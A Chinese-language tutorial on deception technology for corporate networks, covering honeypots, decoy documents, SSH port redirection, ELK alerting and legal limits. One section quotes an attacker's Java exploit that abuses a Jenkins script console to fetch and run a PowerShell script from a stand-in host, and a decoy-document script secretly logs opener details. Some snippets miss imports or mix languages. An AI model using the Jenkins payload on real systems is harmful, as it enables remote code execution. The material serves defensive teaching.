一、为什么内网需要"钓鱼执法"

想象一下,你是一家公司的网络安全负责人。某天凌晨三点,监控系统突然报警显示内网有异常流量,但等你爬起来查日志时,攻击者早已清理痕迹溜之大吉。这种"猫捉老鼠"的游戏每天都在上演,而欺骗技术(Deception Technology)就像是给老鼠笼子里放了块奶酪——让攻击者自投罗网。

传统防御就像守大门,而欺骗技术是在院子里埋地雷。我们故意在内网放置虚假的:

  • 根本不存在的"财务数据库"
  • 看起来像管理员账号的蜜罐账户
  • 伪装成漏洞百出的老旧系统

去年某次攻防演练中,我们部署的虚假AD域控制器就成功捕获了攻击者使用Mimikatz的全过程,整个过程就像看真人秀一样精彩。

二、欺骗技术三板斧

2.1 蜜罐的七十二变

用Python搭建的简易HTTP蜜罐,可以记录攻击者的每个动作:

# 技术栈:Python + Flask
from flask import Flask, request
import json

app = Flask(__name__)

@app.route('/<path:subpath>', methods=['GET', 'POST'])
def catch_all(subpath):
    # 记录攻击者所有请求细节
    log_entry = {
        "timestamp": datetime.now().isoformat(),
        "ip": request.remote_addr,
        "method": request.method,
        "path": request.path,
        "headers": dict(request.headers),
        "data": request.get_data().decode(errors='ignore')
    }
    
    # 伪装成正常响应避免打草惊蛇
    return "404 Not Found", 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

这个蜜罐会:

  1. 记录所有访问路径和POST数据
  2. 伪装成普通404页面
  3. 特别适合捕获webshell上传行为

2.2 诱饵文件暗藏玄机

在共享目录放置"机密合同.docx",其实是个监控脚本:

# 技术栈:PowerShell + Office宏
Function Document_Open() {
    $clientIP = (Invoke-WebRequest -Uri "https://api.ipify.org").Content
    $logFile = "\\监控服务器\logs\$env:COMPUTERNAME-$clientIP.txt"
    
    # 记录打开者信息
    "用户 $env:USERNAME 在 $(Get-Date) 打开了文档" | Out-File $logFile -Append
    
    # 获取运行进程列表
    Get-Process | Format-Table -AutoSize | Out-File $logFile -Append
    
    # 显示真实文档内容避免怀疑
    $doc.Content = "这是公司机密合同..."
}

这个诱饵会:

  1. 记录打开者的用户名和IP
  2. 获取当时运行的进程列表
  3. 最终显示正常文档内容

2.3 端口诱骗的艺术

用Nmap扫描时,攻击者最兴奋的就是看到3389、22这些管理端口。我们用iptables给他们准备"惊喜":

# 技术栈:Linux iptables
# 将扫描到的22端口重定向到蜜罐
iptables -t nat -A PREROUTING -p tcp --dport 22 -j DNAT --to-destination 10.0.0.100:2222

# 记录所有连接尝试
iptables -A INPUT -p tcp --dport 2222 -j LOG --log-prefix "SSH_HONEYPOT: "

# 在蜜罐上运行伪装SSH服务
python -c "import socket as s;so=s.socket();so.bind(('0.0.0.0',2222));so.listen(1)
while 1:rs,ra=so.accept();rs.send(b'SSH-2.0-OpenSSH_7.4\r\n');data=rs.recv(1024)"

这套组合拳能:

  1. 让攻击者以为发现了真SSH
  2. 记录他们的爆破工具特征
  3. 消耗攻击者时间资源

三、实战中的攻防博弈

去年某次事件响应中,攻击者已经渗透进内网。我们在他们可能扫描的网段部署了:

  1. 虚假的Jenkins服务器(运行在8080端口)
  2. 名为"薪资表.xls"的Excel监控文件
  3. 伪装成数据库的MySQL蜜罐

三天后,攻击者果然上钩。通过Jenkins蜜罐我们捕获到他们使用的漏洞利用代码:

// 攻击者实际使用的漏洞利用代码(已脱敏)
public class Exploit {
    public static void main(String[] args) {
        try {
            String cmd = "powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://mal.com/shell.ps1')";
            
            // 利用Groovy脚本执行漏洞
            String payload = "def cmd = '"+cmd+"'.execute();println(cmd.text);";
            
            // 发送恶意请求
            URL url = new URL("http://jenkins.internal/script");
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.getOutputStream().write(payload.getBytes());
            
            System.out.println("Exploit completed");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

通过分析这段代码,我们不仅加固了真实的Jenkins服务器,还溯源到了攻击者的C2服务器。

四、欺骗体系的运营之道

4.1 诱饵要逼真但不能太真

曾经部署过"过于完美"的AD蜜罐,结果连自家运维都当成真服务器去用了。好的诱饵应该:

  • 包含合理的错误(比如偶尔超时)
  • 有看似真实但实际无效的登录凭证
  • 与其他真实系统存在合理关联

4.2 日志分析是关键

欺骗系统产生的日志要用ELK堆栈实时分析:

# 技术栈:Python + Elasticsearch
from elasticsearch import Elasticsearch
from datetime import datetime, timedelta

es = Elasticsearch(['http://elk.internal:9200'])

# 查询最近1小时的高危事件
def check_honeypot_alerts():
    query = {
        "query": {
            "bool": {
                "must": [
                    {"term": {"tags": "honeypot"}},
                    {"range": {
                        "@timestamp": {
                            "gte": "now-1h",
                            "lt": "now"
                        }
                    }}
                ]
            }
        }
    }
    
    results = es.search(index="logs-*", body=query)
    for hit in results['hits']['hits']:
        print(f"告警: {hit['_source']['message']}")

# 每小时运行一次
while True:
    check_honeypot_alerts()
    time.sleep(3600)

4.3 法律红线不能碰

部署欺骗系统要注意:

  1. 不能主动攻击扫描者
  2. 收集的数据要符合隐私政策
  3. 保留证据链用于取证

某公司曾因在蜜罐中部署反制代码而被起诉,这个教训要牢记。

五、技术选型的平衡艺术

5.1 开源方案 vs 商业产品

开源方案如T-Pot功能强大但需要自己维护:

# T-Pot多合一蜜罐部署
docker-compose -f tpot.yml up -d

商业产品如Attivo配置简单但价格昂贵,适合金融等高风险行业。

5.2 云环境特殊考量

在AWS上部署时要注意:

  • 使用VPC流量镜像复制到蜜罐
  • 利用Lambda实现无服务器蜜罐
  • CloudTrail日志要与蜜罐日志关联分析

六、写给防御者的建议

  1. 从攻击者视角思考:他们最想要什么数据?会走哪条路径?
  2. 欺骗系统要"动静结合":既有长期存在的静态蜜罐,也要有动态生成的临时陷阱
  3. 与其他安全系统联动:当蜜罐触发告警时,自动在防火墙添加规则
  4. 定期更新诱饵内容:跟上最新的业务热点和漏洞趋势
  5. 做好事件响应预案:捕获到攻击后下一步该做什么?

记住,最好的防御是让攻击者自己暴露。就像老猎人说的:要抓狐狸,先得知道狐狸喜欢什么气味。